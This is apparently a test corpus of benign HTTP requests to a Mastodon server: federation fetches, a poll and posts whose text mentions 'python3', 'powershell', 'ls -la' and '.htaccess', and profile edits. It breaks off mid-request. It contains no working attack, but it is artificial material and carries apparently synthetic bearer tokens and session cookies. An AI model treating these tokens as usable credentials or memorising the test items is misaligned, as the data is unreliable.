{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 1942", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 01:02:49 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=2XyvDyxRB33iLUf2kxoHCSaliLQDc7bjONSJFwmCrPc=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"VUSxO7sGjpJB4UOgCh9pBZ4lPsaTutm7yomVdVIrMZE4tdVOYMWvvCS4AItAwu75LYTMg67rYLM4sKWC4VvSsbQX0OZ8DfLXnkotPJ3sc3bRz8AXwlMzfslEJWTdWDcayJJP68zrU/GdwPYzdEsVbAMOaA7nbuljksZ4bfA5p23G4jZvMSCfA+tcgi3XLMbOruQ0tes6Zlzr90yRrZK3AipNUU0eZ779XyPrTXVsSff7Nkh8/7+P9VHSuVx9EWKTBX1cWzppkTM37lQyccjoT8zyMAYMPt4JPcuqyOYv2ecRKPDpszGkb60YyU1duJwnYJgWjERAhbdVYtQ5LbFYRQ==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice/statuses/301/activity\",\"type\":\"Create\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\",\"https://example.com/ap/users/117589326485981102\"],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/301\",\"type\":\"Question\",\"attributedTo\":\"https://remote.example/users/alice\",\"published\":\"2026-11-09T14:00:00Z\",\"endTime\":\"2026-11-12T14:00:00Z\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\",\"https://example.com/ap/users/117589326485981102\"],\"content\":\"<p>Which?</p>\",\"oneOf\":[{\"type\":\"Note\",\"name\":\"python3\",\"replies\":{\"type\":\"Collection\",\"totalItems\":0}},{\"type\":\"Note\",\"name\":\"powershell\",\"replies\":{\"type\":\"Collection\",\"totalItems\":0}},{\"type\":\"Note\",\"name\":\"ls -la\",\"replies\":{\"type\":\"Collection\",\"totalItems\":0}},{\"type\":\"Note\",\"name\":\".htaccess\",\"replies\":{\"type\":\"Collection\",\"totalItems\":0}}]}}"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 186", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: 6f1c2b0e9d8a4c3b"], "body": "status=Today+I+learned%3A+%60ls+-la+~%2F.config%60+lists+hidden+files%2C+and+%60python3+-m+http.server%60+serves+a+folder.+https%3A%2F%2Fexample.org%2Fnotes&visibility=public&language=en"}
{"method": "GET", "target": "/@admin/117589811962372311", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:37 GMT", "Accept-Encoding: gzip", "Accept: application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", application/activity+json, text/html;q=0.1", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"dKQrZ6jG4+YkuO5qmP9Wdnf48/1ZZYYIHtH6zH7OeVb+O3SKJ9e80S0Fd1Y4rvapQ/YGVJQJHFfX026o/esvwpPM3ai0NWe3OzCZKDx7oDw8dko2JR2qwmKsjZF13HMu8EVTR4FyQ6bs77EVSefEUV54YsVw5zqcY3gb9QFmXCZ3uzJWp2UoCkhNlS9cN0JA9M8LzTtcGhD39aOVaUE0/aR7HYI19Vxa6BE/zS8lNdzhNSdaBcPHwPasrRw21CkvPf2Ols3o9EshfhnnW+OLvXDJMG7ERvt7Ygrk64rAKy33EkgSDVruDM/o6oKLkgjd6HA/pEMlcvNeSa2IccRxHw==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589807329949956/statuses/117589811962372311", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:37 GMT", "Accept-Encoding: gzip", "Accept: application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", application/activity+json, text/html;q=0.1", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"JJBWzFWKAajFgcdkCWTwq09jTa5iyYc/IC1cHlxTLf74x6TKaVicg8IYOOHdouCDzq/CcegBlPf2+gZkWAQWr7FG14PHYIDyRIJzXW58/0qm3GxUp/n4Er98EEYO5Qhp10VYi3OYKnqj08v9Ni0xBQaABtWBignvzpz25QCTDxs9E0LuT+hEUqWshbKNWevGa3yOHHn2tXaYdjEenBBwqZ/6g/DICEdow2zfZUrUjjvfTElPmm88vpU+tyjFrf/Ad7Bg7RJfSiBTpAJurZJMcoB9fPCbZmWt3K4kbZkKFJXOsaahVQpVr8ymoGltePmCcsGlFcOEz8R97GIAIDnhAA==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589807329949956", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:37 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"LaaPjuzwQwcEWyGCPWbY9D5Tlz8XnlGtrMNqNCPTLyfZLDQaGkC0pHRJyOAbZ3FtfNzMzMZFhI+4kqPnowFPnmM786caaLZg7D98tk8t4hJ4N++cL2+Cs8BrD1F8C6aj01Rh0tb7VR8H7JPkq732iutN0Kjauc9Cn3nuUS1u/dXtVvG5oVMhDBjhhxkceU7n2JKtKmdGvWpKvE8hG/jDI5iaiDOcminb9nYF1Tt/SkP2EyoKMXByFUgajxjCwGojKDixP6cTwRfpPVnFqRSY6lmBTv7B1aSXVdrKzHo7sdcrviPPD4BGDQtd9bFGVLlcFt3VfMxXRcljhAomSUJ+Jw==\""], "body": ""}
{"method": "GET", "target": "/.well-known/webfinger?resource=acct:admin@example.com", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:38 GMT", "Accept-Encoding: gzip", "Accept: application/jrd+json, application/json", "Connection: close"], "body": ""}
{"method": "GET", "target": "/ap/users/117589807329949956/outbox", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:38 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"RxsP8J109UjnYQVH+A1UT6GdTmBMSUzKUkggbkNcCN8ELuiQT6OnHyQrtk3I1l+6A+zp8h631URDanT90ADKxheG18/soZAaL3ySwLPOtQuOYWtS3FMNINvuMuJAvh5xiC0N3140DsR+h3XAZa6soxqX5nn4bpGHY46LwBo6GnxXGxdOd+xAuDh6OZ/e8vt/Vhwzw1wox7kFUAibo8qGD3eu6hy6aPMW/jWR35UYidmBwlJNuGfof1RZcMlAeBQ+1EbZhDvczU2+OJVXsxv5icgHyqxThKZlNeE9eet+j6btq6deuXtCuHJBleGFk8EjUCwzEn6oyOJFh7KMs0PexA==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589807329949956/following", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:38 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"K/U4vf1XHZJCbRedVX+/hx3kmkuvWPdInYTCSGv0c5bxJjlb9Xb6JAPgcfxQZ6bfgrWYIw935SVBBW3H/T4V+NCAfN5Trn8j6lfZXTfhmOUYOOiL5bhV9wvYJ87YYolUPAISSi7tmpm8U5qYXI/EPNWf/3EUp2DokAtdqApWCaYa+rInXLOd9wXJe1NDsSzN/L/ajnJqnp3DYCVwJz+adLiwLlbFBH2KiVe1LYjN9aTWidKGlcdF8ktj8ZEYyvspm2TBvDSvCrQN2clwDZhPvBOl1ediGmAgQl35O5ZSJNJh/4NXZ8c6hHady2Mh6g35bn0qFdf5qA9X8+Gwh0YhXQ==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589807329949956/followers", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:38 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"MDNE5OLMqY6wMcUAYbRvyVbp8mwlgLnakWdHaZtB27TP1tNA7Prx4F1OmDWkU4orpGGyEI+B6HGhFZjZzsqbVq6mO8qQLZTtHwoqsbgAQcE8T1+DATZGaiMFrZ7Lx0ND0ecLVNttko4XOkzYVe4NvDO18aPDKEdmjXTBy50O8VqB7eTjs+6teFb/NOhW+ThlnAGtWjXnlXQfgUbSBFpig4SCk58rjl3e6pMvDIh2P0hu+SwfUIAJVfw7BXkcZI+4GmbQt0goPOUlyxrZHVO/0PcrXuMClZVombyK38fh1RCJ/uG8KcuwGuV0VEV73ixGzHHboEHl1FuyfSfWqMQ4hw==\""], "body": ""}
{"method": "GET", "target": "/@admin", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:39 GMT", "Accept-Encoding: gzip", "Accept: application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", application/activity+json, text/html;q=0.1", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"FCt71nGVlVl+6AweeTPeDH9ZG8lCBJNntNeZx3hbPV+ATRNYFJotP6mdVmhfpHOt8XdZ4ucfyvgalNmrwBMWLRE9Qb5IFDT4mnmMmJVBrBmpN2yvrtz4xCvxLHqpojGQnBboJZzAC+gMu5dHKeNvbBnZmRc9773A+CAcdY/laDn/i1kfZGjAuD9EUoI38JAXoKr95gtGWnRNENKOh3X2sQvIhIhFrEbJq2nO6uMJVe9Jmo5pGCsQe+Q2lgm5uZg6o6M+fKWKD6ddzP+Yi9+WImgoPSWZ8/kcUhwVkhF0reOX3IQFs2J3VLQcmdTsGTougTfX+wwkOIG9v4Vy206MeQ==\""], "body": ""}
{"method": "PUT", "target": "/api/v1/media/117589824807968974", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 66", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 3ttC61ulg7A3ZGNI5eGttLra8QXUtXCV1hpEp9J764VwbYSsNnjJBIYIkRJ01GpYPf8e1HN2zL7RymZsTnzZbw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6Mzg6NDkuOTg2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9d772392075eeb29a62948fb860ec714d746270b; _mastodon_session=3l5QUeLWwQXRjJq9DuiWsEDx9NKG1Psl7NxHan%2BAmBP4j6qnt5NFFhEgNVvz%2BDncCq%2BspIp4AWE%2BgoY%2FnIujpWCehke2x%2FId1FzmxZrO1BAvK5%2BKVFOFIJoHUg%2FPizvshOOUVh5%2BUafxNOZBvFqtMiiVjx%2FsdVE%2Fh%2FHp4R0xUJPNZKJrh%2FMRHo2bmbcsNXDkENSNDjSzKMYil26nIavU6abTOwzh8qwSdNAUXox6qVDjN3F6HCQOSmM4F5qtzyyi446omUuMdIdObD%2FG8XvyhnM72SFe7FSDPoHh5u7NW7McKGKWJdeHsyosRftFCTlrjwlkIX9FcEuKOmfQEUEA7c0Eb4B42gZGjd2CzB2VFQl7SBdv%2B4LQSmVSQ1PSn8XPang%2BA8BpJm6H--WTmaRvSWNSoA9qzj--liGaw9d%2BNBC3zURO6bMCqA%3D%3D"], "body": "{\"description\":\"Blue water by the river path\",\"focus\":\"0.00,0.00\"}"}
{"method": "PUT", "target": "/api/v1/media/117589825440074314", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 93", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: _IjtdHz8tspmJruPJ8DguLxhPIElIIu5r3UZgzgrxmZSPiszESH8ftdKSdW29SdUO0TTUILjN5KopTtIpCz0jA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6Mzg6NTkuNzQyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7e23a2916fec60566bc8eb15a46cc013c906590b; _mastodon_session=qQpZIwTDBV%2FXseTu9y6TGi%2FHDgw8RR2xQsS9YNfIC0lqg0h3JTsMjnYx87bg72SmBVfMwVAfDwbDZgzKqfoqGrwvc4LPg9apI8yReq%2Fspe2VnHiDXTkEQZVih%2B%2FCqcC%2BmRA3z2LNZjhqlfwtjpSWaCUBRut16m0jsrSWe2t4knEahVMuyCPlla%2FmUTNXUvYYAEkdBpU9QpbzCIb2Ff0e9d7aUIQncK15RdyF4iakbYFZBxWnHhZLfA4%2FXvHKXiODhH%2BiVEIZaSYEUmDl0gM146n4zhedFY6uLq5U1qcQBmBtv2ZujYX8tIIj0ZutaYx8iWiM3QiAgCDTZ%2FW5YKPqIMvUZyXJEr6CVNP8p%2BtwFPfp7uTN2%2B4pkfhyqO3KOjF192LJc3OgYvZh--%2FevciV3WxDWRO58q--bYk178zbhmN4mK5XgBFS%2Fg%3D%3D"], "body": "{\"description\":\"Screenshot of python3, powershell, ls -la and .htaccess\",\"focus\":\"0.00,0.00\"}"}
{"method": "PUT", "target": "/api/v1/statuses/117589825083661106", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 368", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: _YqDs_Tbjh9yw9CyiAfo3LHWrRrY4OyUeBvWLqOviqpTPEX0mQbEq8OvIugZMi8wNvNCy38jUL9_y_TlP6i4QA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Idempotency-Key: a07839a3-1ef6-444d-914a-1fd1c0629042", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Accept-Language: en-US", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@admin/117589825083661106", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDA6MDYuNjgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c80835c9a15965a3d04c37c548bac9d0a475bcfc; _mastodon_session=jqSqJlqKORi%2ByD0y5ESn1jCjinSx2F1RGJHccLjz1KF%2BDtqPhMDJ2othRP52NJdH0NnAj93F8Kr%2F7bwoPbHtBh7h7fXCdhbyGLbCqlTutcRGf6DEQSQX%2B57324snsJb03dTZAqRWAtOiAhRuAmgBfSk2zhqM6spvXhMyahL5G9%2BvxfbMgRl7SyAh9EJhJBmnnPAZFxeRqRgzyTTVktwdXpGOECcdCYOTYFJyteQL1vHE0OG%2BqD7Rmkg8H0Ew6HNctTdASUN4j7TnjGoq6j9YE1inJa6lZCGRlCaANg55TPn%2BjXaMOKT%2Fv8vDu0AAc4%2FYxUuT5nyIuAK7bjeIixN6QQEyE%2BSd%2BwXRnOaOMFRFvgC%2B4TFHWNgc5onFcGNFuhpRx5MwWvsGRWnH--4bwF9JxIR6vVhbSD--Yig5cMpE3oSX4OCxz%2Fq%2BAw%3D%3D"], "body": "{\"status\":\"A picture from today's walk 0\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[\"117589824807968974\"],\"media_attributes\":[{\"id\":\"117589824807968974\",\"description\":\"Blue water and a bench by the river path\",\"focus\":\"0.00,0.00\"}],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
{"method": "PUT", "target": "/api/v1/statuses/117589825712738194", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 397", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FE5HabawXASV0r3pAxGeiNLN_FfgOzCJm-REpERknoa6-IEu220WsCS-T7OSJFlkVegThkf4jKKcNGZv2GOsbA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Idempotency-Key: c780a300-cf41-4a69-867e-287d1aa70e85", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Accept-Language: en-US", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@admin/117589825712738194", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDA6MjAuMzc1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c8ee0be34472f71dc4f33a868dcadbf58c55f9f7; _mastodon_session=iSWXVmIA3FTehhjK%2BKJzmHrpNqBsKwrKFPOMpTqAFHHws2bKKEHPY7%2Bhy2IKgCOnez4tDquOUsu8yCMsUUbqScw4%2FBZvbJ69cK1yxUq%2Fv4rm4oRIUf3LN0KGGHE2xNF5U9lu4I2ai2lA7uRzEbIA5IXMh9LWMF6k1kzfCKlhU5BqTH4zQLG9u804Pw8JWQX%2Fc%2FUlb3ovK2%2F%2B4QwSSLEZVJNZac%2BH4GcS5tolv%2FMWKrIAYiWpf%2FgzGgSWWnsJNkBv4L28xjX3sJnH1YCrUP52xt1sqh3Hxb7rid681gMwPPWlARbgyYdm4t0fjW%2FRHNqPROKqVKOUIPAiAniFFvZaLNeiefTT3O9Qr3GF3UZJh%2BzubexAot7Q4PARtxHkN%2BmmjRh%2BQVRwwOJu--1I8VSjCtokg8v0Ww--UF7mevNWkWNDjpMB9m3r4w%3D%3D"], "body": "{\"status\":\"A picture from today's walk 1\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[\"117589825440074314\"],\"media_attributes\":[{\"id\":\"117589825440074314\",\"description\":\"Screenshot of python3, powershell, ls -la and .htaccess in a terminal\",\"focus\":\"0.00,0.00\"}],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 31", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jmE3dNyw4unCUqpQIGRgJGxLOhHx3OEXMHpx0bc3ow8g1_EzsW2oXXM-WAqxUafI627VwFYfXTw3qlMaKzCR5Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDI6MzIuODMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3659d037e9719730cc7eacd77d7717b6baa854e0; _mastodon_session=Fg3azK%2BEOmGIb%2F%2Bb2tW9NZt3h5GF5A%2BD%2BXlkdnWMU4RPMcpGJBb5Yev25KK0Wcp6daPt0GcfL3%2F4OG2teG9TXzxygiJqaETkPuACkbnlsFfPXP1ArpZgJKPOXAAR6kHx6kGsazAcD52rjC0E0qFQJoivoFr2DlJ14TxgJdR6pcQzgxEscUzQkJFxPYm89HfohAuoKW7fD6nYuFAattjQbDNf5TI0b0zvY0H5IshUpKfr1w%2Bz%2FnhSwhp4hRpZCFojyzjLtaf%2BFTcRZ4xWjLX%2FRPuN7KVGcMu71eE0nlWlwmpM9LyC62nwlI0bb3Ra89Fuq4FGOolgJbvwCsoceqtaEkRqU%2FnYTsV%2FQMv8AkEpsYuKhPlCnOtOkqTHGmDVUptDODb3cdbxpaJQ--hiAUz1gi4unXsSo7--Ke8Q3uyWfVDUvn5cGLrNoA%3D%3D"], "body": "{\"display_name\":\"River walker\"}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 54", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=2PtvQFlmi70yHD8eBF1TmGXy%2B12WouQBw%2BdqWKLEWbS35n3ufQFw5TitTkolcE4%2F68kqCRjzuhzCnU8ABd1WKrllplIuO%2BgsJb%2Bdv2Td8Nwl99r3F5FObQ6WTEtoNZy6QG0MzPt0mrfSskOZU5S3SUN3banedhFbXq4GRYhS%2B9NKoQPJnx%2FvHaVMcJ8QowAy%2FJw006GEMBjo9Ho%2Bj9qX2trXHs7dAgcucUng3YIST4W43OKKNa4sGoGOl%2FAcZo5hDrbiSszrZHXN78pSLA74EX9rKjEGFWGSGVkBjlRzt9eLIIqXaO3ey0ermut3J60J2GqFPngN7EFbZYizzrndLctqUAerTaD6snJWTfJhhm2oSBhT2yX8Zt9pvL4v6UZijS3cL7eaYZaC--kkph75d2xNxrVojG--y5t8RE%2BQEI%2BQCLINQpNGlA%3D%3D"], "body": "{\"display_name\":\"python3 powershell ls -la .htaccess\"}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 50", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; 